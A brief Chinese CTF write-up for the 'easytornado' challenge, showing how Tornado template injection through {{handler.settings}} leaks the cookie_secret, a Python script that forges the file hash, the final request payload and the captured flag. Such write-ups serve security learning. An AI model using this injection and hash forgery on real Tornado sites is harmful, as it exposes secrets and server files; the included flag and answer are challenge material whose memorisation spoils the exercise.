攻防世界 easytornado

题目信息

提示了 flag在/fllllllllllllag

filehash通过md5(cookie_secret+md5(filename))获得

当务之急是找cookie_secre

根据题目提示为tornado模板注入，模板注入必须通过传输型如{{xxx}}的执行命令，验证

在tornado模板中，存在一些可以访问的快速对象,这里用到的是handler.settings，handler 指向RequestHandler，而RequestHandler.settings又指向self.application.settings，所以handler.settings就指向RequestHandler.application.settings了，这里面就是我们的一些环境变量。

简单理解handler.settings即可，可以把它理解为tornado模板中内置的环境配置信息名称，通过handler.settings可以访问到环境配置的一些信息，看到tornado模板基本上可以通过handler.settings一把梭。

找到secret_cookie 

5e9c1c0d-5dfc-47b6-966a-fcdb6daa3118

编写简易脚本

import hashlib

filename='/fllllllllllllag'
secret_cookie='5e9c1c0d-5dfc-47b6-966a-fcdb6daa3118'
a = hashlib.md5(filename.encode()).hexdigest()
b = secret_cookie + a
c = hashlib.md5(b.encode()).hexdigest()
print(c)

28ef0120481f2d3c53cc7b1ed676e0ba

payload ?filename=/fllllllllllllag&filehash=28ef0120481f2d3c53cc7b1ed676e0ba

flag  flag{3f39aea39db345769397ae895edb9c70}